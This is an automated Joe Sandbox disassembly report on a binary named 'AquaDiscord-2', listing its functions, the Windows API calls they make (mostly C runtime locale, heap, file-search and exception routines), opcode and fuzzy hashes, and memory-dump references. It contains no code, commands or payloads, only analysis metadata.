Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: f33d59065358f292391febab7b680bb79df574a592d11e037a28e475195ad94e
Instruction ID: aee5c42bb50e66785b33e8ccdb4f0b96f28ec6e080be864c4f9c3eec4ab6b0d0
Opcode Fuzzy Hash: f33d59065358f292391febab7b680bb79df574a592d11e037a28e475195ad94e
Instruction Fuzzy Hash: C85147B1D0C158AEDB118A29CD88BE9FFE9EB05304F1442E9E589C71C2D731BD85CBA0

Function 00AF8530 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40646824c63299042c7fc712254c02dbe6acfe5d2ecdf04595ed8ccc3f7863d0
Instruction ID: 4f1e60417507e510b71497d3571ff5fd22d3d3057f8f955fab66a9359bff3d7c
Opcode Fuzzy Hash: 40646824c63299042c7fc712254c02dbe6acfe5d2ecdf04595ed8ccc3f7863d0
Instruction Fuzzy Hash: 1E415B71A0011EABCB14DFA8C4909FDB7B9FF08314B54416AF641E7650EB35E945DBA0

Function 00B066CD Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2e28c8a6fd3731af6ed55ca4bedc947708c9a3e0ea52b9e4d1c40aa97d98845
Instruction ID: c75c808d17e93b231b3f1e7e571a6a738841ae657ea23bfad78bf823c0df38e6
Opcode Fuzzy Hash: f2e28c8a6fd3731af6ed55ca4bedc947708c9a3e0ea52b9e4d1c40aa97d98845
Instruction Fuzzy Hash: E401F5336202249BDB269F6CEC859563BEAFB80728B244164FD108B0D4DF31EC219BD0

Function 00B056B1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00B07635,?,?,00B07635,00000220,?,?,?), ref: 00B056E3

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b10ccab5cc23bbe25b7d809e3710b3add356fa7cc9ec01e61738b863856f0d8b
Instruction ID: 96cdcc7273ebcc06f75abc11e69120ed06919380fdfc4b0ed281cb5cdcd2a24a
Opcode Fuzzy Hash: b10ccab5cc23bbe25b7d809e3710b3add356fa7cc9ec01e61738b863856f0d8b
Instruction Fuzzy Hash: A4E0E531505A2457D73026A9DC00B9B7EC8DF017A1F9044E0EC16968D0DB22CC408AA4

Function 00AF20C0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE ref: 00AF20D1

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 8653ee5581287c0f782aaef9a64c901eaec83bb19e81b444d871ff888e1cacf4
Instruction ID: 104895837b4b76034035bbab633142cdc1914ec0ce86854624b3254b48e7d7e0
Opcode Fuzzy Hash: 8653ee5581287c0f782aaef9a64c901eaec83bb19e81b444d871ff888e1cacf4
Instruction Fuzzy Hash: 90C0127010010CABD740DF94D90578977E8DB04220F008021FD0CC7300DE75EA408652

Non-executed Functions

Function 00B104C2 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B106D9

Strings

1#INF, xrefs: 00B105F8
1#SNAN, xrefs: 00B105CE
1#IND, xrefs: 00B105C7
1#QNAN, xrefs: 00B105D5

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 044e49e04583b7cb4ab99803276ff61b9e6330c01373ec211fbacb0fb6244022
Instruction ID: 5ff714a45311a3d26d5b5ad4fe6f8c09c1f0b904411b5400baa03c3bb213aa7b
Opcode Fuzzy Hash: 044e49e04583b7cb4ab99803276ff61b9e6330c01373ec211fbacb0fb6244022
Instruction Fuzzy Hash: 2FD23672E182298BDB64DE28DD807EAB7F5EB44304F5445EAD50DE7240EB78AEC18F41

Function 00B0B177 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00B0AB2D,00000002,00000000,?,?,?,00B0AB2D,?,00000000), ref: 00B0B210
GetLocaleInfoW.KERNEL32(?,20001004,00B0AB2D,00000002,00000000,?,?,?,00B0AB2D,?,00000000), ref: 00B0B239
GetACP.KERNEL32(?,?,00B0AB2D,?,00000000), ref: 00B0B24E

Strings

ACP, xrefs: 00B0B195
OCP, xrefs: 00B0B1CB

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 22eda6c6ee036254d10580be806a32861953492d35312a3302aed881e8925f5c
Instruction ID: 9be4740bbe89838a8ade5cc2507af315e2fa7421e09d81fe59ed583db882ed99
Opcode Fuzzy Hash: 22eda6c6ee036254d10580be806a32861953492d35312a3302aed881e8925f5c
Instruction Fuzzy Hash: 7221C532B10101A6DB348F65C941FABBFE7EF94B50B5684E4E91AE7294E732DE40C390

Function 00B0A9F7 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00B0AAFF
IsValidCodePage.KERNEL32(00000000), ref: 00B0AB3D
IsValidLocale.KERNEL32(?,00000001), ref: 00B0AB50
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00B0AB98
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00B0ABB3

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 6e2935333555cd2a159e3d4bb38e4f638542d650fb76c167dda44b2cd3f73cc3
Instruction ID: 83143d2b432a810b31b49e5e5705af76173b9d04d444f45ddadaa7b568b08b52
Opcode Fuzzy Hash: 6e2935333555cd2a159e3d4bb38e4f638542d650fb76c167dda44b2cd3f73cc3
Instruction Fuzzy Hash: E3514F71A00719ABDB20DFA4CC85AAE7BF9FF04700F5449A5E911EB1D0EB70DA40CB62

Function 00B03400 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction ID: 6087d36c37d27f03c201a8a8b1e2bab508dc7e2ce5e9f1ff9b03f7f92d281836
Opcode Fuzzy Hash: 5bda445c65ae4a74fe40377494680e1620293ac17931db5f8abb93f471be9a26
Instruction Fuzzy Hash: A5023DB1E002199BDF14CFA9C9846AEFBF5FF48714F2482A9E515E7381D731AE418B90

Function 00B0B759 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B0B849

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: eb7f65ab55e2d5a607f2f941dd204b933451fbef4856a6df086be623ced899e7
Instruction ID: 283ad9931626a9cca6b1617f51cdd2c6daefdc2d53c89f0b39427b441a4b9d4c
Opcode Fuzzy Hash: eb7f65ab55e2d5a607f2f941dd204b933451fbef4856a6df086be623ced899e7
Instruction Fuzzy Hash: F471C27190516C6FDF21AF28CC89EAABFF9EF45300F5481D9E009A3291EB318E858F14

Function 00AF9A33 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00AF9A3F
IsDebuggerPresent.KERNEL32 ref: 00AF9B0B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AF9B24
UnhandledExceptionFilter.KERNEL32(?), ref: 00AF9B2E

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 68770f67e1a25991ae53548a248ada90603b5893a7adf4af25b4f61875610166
Instruction ID: ac04cb186d8af9a04d519f059d8451eae93b52ede320bffc0c5f485912c4bca3
Opcode Fuzzy Hash: 68770f67e1a25991ae53548a248ada90603b5893a7adf4af25b4f61875610166
Instruction Fuzzy Hash: 77312875D0521C9BDF61EFA4D9897CDBBB8AF08300F1041AAE50CAB250EB719A848F45

Function 00AFA2F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00AFA307
GetCurrentThreadId.KERNEL32 ref: 00AFA316
GetCurrentProcessId.KERNEL32 ref: 00AFA31F
QueryPerformanceCounter.KERNEL32(?), ref: 00AFA32C

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7d06dcfe8c4c50b290d5a4ddf4ebeed139decb70ec8d91da21aaae07177ab30a
Instruction ID: 63ee98bfe8c95fd5ab73d0a83e5207b46f23f7291108eb2ea5746a9db9dbd2b3
Opcode Fuzzy Hash: 7d06dcfe8c4c50b290d5a4ddf4ebeed139decb70ec8d91da21aaae07177ab30a
Instruction Fuzzy Hash: 84F05F75D1020DEBCB04DBB4DA499DEBBF4FF1C204BA18995E822E7150EA30AB44DB51

Function 00B0ACF0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B0AD44
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B0AD8E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B0AE54

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: da974c26dec20278c5820d1fb6fbdecb26382af015c6c8f9e0b8dbe0f8bf351f
Instruction ID: a577f76c59be1c59f307594d524774bc12e29891b9ceb01d5b66cd5056fc7d4e
Opcode Fuzzy Hash: da974c26dec20278c5820d1fb6fbdecb26382af015c6c8f9e0b8dbe0f8bf351f
Instruction Fuzzy Hash: 7B6171719502079FEB289F24CC92BBABBE8EF04310F2089F9E905C65C5E774D991CB55

Function 00B01A20 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00B01B18
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00B01B22
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00B01B2F

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ec38f82e9e0356691823ec5ef4a6f5bc2775ded479bdb478f6bc1da09b3c596e
Instruction ID: fed9a91d49c5fde0f66dbf7bb6c277a0e3c53373d71a6af7950849a972db4e88
Opcode Fuzzy Hash: ec38f82e9e0356691823ec5ef4a6f5bc2775ded479bdb478f6bc1da09b3c596e
Instruction Fuzzy Hash: B031D37490121C9BCB61DF68D9887DDBBB8BF08310F5045EAE41CA72A1EB709B858F44

Function 00B0EA4E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00B0E9A9,?,?,00000008,?,?,00B1535B,00000000), ref: 00B0EC7B

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 35a008a135a1eda0ccfeb5fa279c6392294a2b45d789f82a1552634d87be0a92
Instruction ID: 3f7cc145afa7c65f6e422fc15d55a7aa8bf33ac26f89411f69d2b2beb498f11a
Opcode Fuzzy Hash: 35a008a135a1eda0ccfeb5fa279c6392294a2b45d789f82a1552634d87be0a92
Instruction Fuzzy Hash: 8BB10A316106099FD715CF28C486B657FE0FF45364F298A98E8AACF2E1C735E991CB40

Function 00AF969B Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00AF96B1

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 4e891dfc78675e38a4418c2d42c4fb871a3f47d105d78a46e1895a8934f92364
Instruction ID: b735c719c13d56eeccd4d6d339a8242575b502c404df26db5cba95bc54e49ab8
Opcode Fuzzy Hash: 4e891dfc78675e38a4418c2d42c4fb871a3f47d105d78a46e1895a8934f92364
Instruction Fuzzy Hash: 77A17DB19216098BDB28DF98D8817ABBBF0FB48314F14852EE515EB361D7749942CF90

Function 00B0B6A8 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B069B4: HeapAlloc.KERNEL32(00000008,00000000,00000000,?,00B05B4F,00000001,00000364,00000002,000000FF,?,00000000,?,00AFD615,00000000,?), ref: 00B069F5

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B0B849
FindNextFileW.KERNEL32(00000000,?), ref: 00B0B93D
FindClose.KERNEL32(00000000), ref: 00B0B97C
FindClose.KERNEL32(00000000), ref: 00B0B9AF

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: cacb91405a59fe1e03712061d831440e83a7d7817634fd14796bd7205c879dbe
Instruction ID: 625e5645add0b236e731f57fc5429e83be1f5695f1e96b06fc609a42f16c95f0
Opcode Fuzzy Hash: cacb91405a59fe1e03712061d831440e83a7d7817634fd14796bd7205c879dbe
Instruction Fuzzy Hash: 67512275900108AFEF24AF388C85EBEBBE9DF85354F1441E9F41997281EB318D429B60

Function 00B0AFB0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B0B004

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

